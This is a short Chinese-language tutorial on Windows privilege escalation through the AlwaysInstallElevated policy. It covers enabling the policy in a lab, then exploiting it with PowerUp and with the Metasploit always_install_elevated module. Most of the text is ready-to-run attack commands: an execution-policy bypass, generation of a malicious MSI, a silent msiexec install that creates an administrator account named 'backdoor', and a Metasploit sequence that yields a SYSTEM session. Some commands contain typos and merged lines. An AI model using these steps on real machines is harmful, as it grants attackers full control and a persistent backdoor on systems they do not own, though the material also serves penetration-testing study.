一、提权简介
注册表AlwaysInstallElevated是策略设置项,允许低权限用户以system权限运行安装文件,powerup中的Get-RegistryAlwaysInstallElevate模块可用来检查注册表键是否被设置。如果为Ture就证明是以system权限运行的,可提权。
二、漏洞环境配置
①"运行"中输入gpedit.msc,打开组策略管理器
②计算机配置-->管理模板-->Windows 组件-->Windows Installer
③将"永远以高特权进行安装"编辑,选择开启
④用户配置-->管理模板-->Windows 组件-->Windows Installer中的"永远以高特权进行安装"编辑,也同样选择开启
三、提权操作
-使用powerup进行提权:
①以本地加载方式运行powerup,需要上传powerup.ps1到目标
powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"
返回为Ture,存在提权漏洞
②利用Write-UserAddMSI模块生成msi文件
powershell -exec bypass "import-module .\powerup.ps1;Write-UserAddMSI"
可以看到在当前目录下成功生成msi文件
③以普通用户身份运行此msi文件
msiexec.exe /quiet /qn /i UserAdd.msi
成功添加用户backdoor,权限为管理员
-使用MSF进行提权:
MSF的exploit/windows/local/always_install_elevate模块可以自动完成提权操作,会创建一个随机文件名的msi文件,并在提权成功后删除此mai文件,攻击成功会返回system权限会话
①首先拿到一个不是最高权限的会话
getuid
②利用对应模块进行提权
use exploit/windows/local/always_install_elevatedset session 4run
攻击成功,返回了session 5
③查看session5的权限
getuid
成功提权至system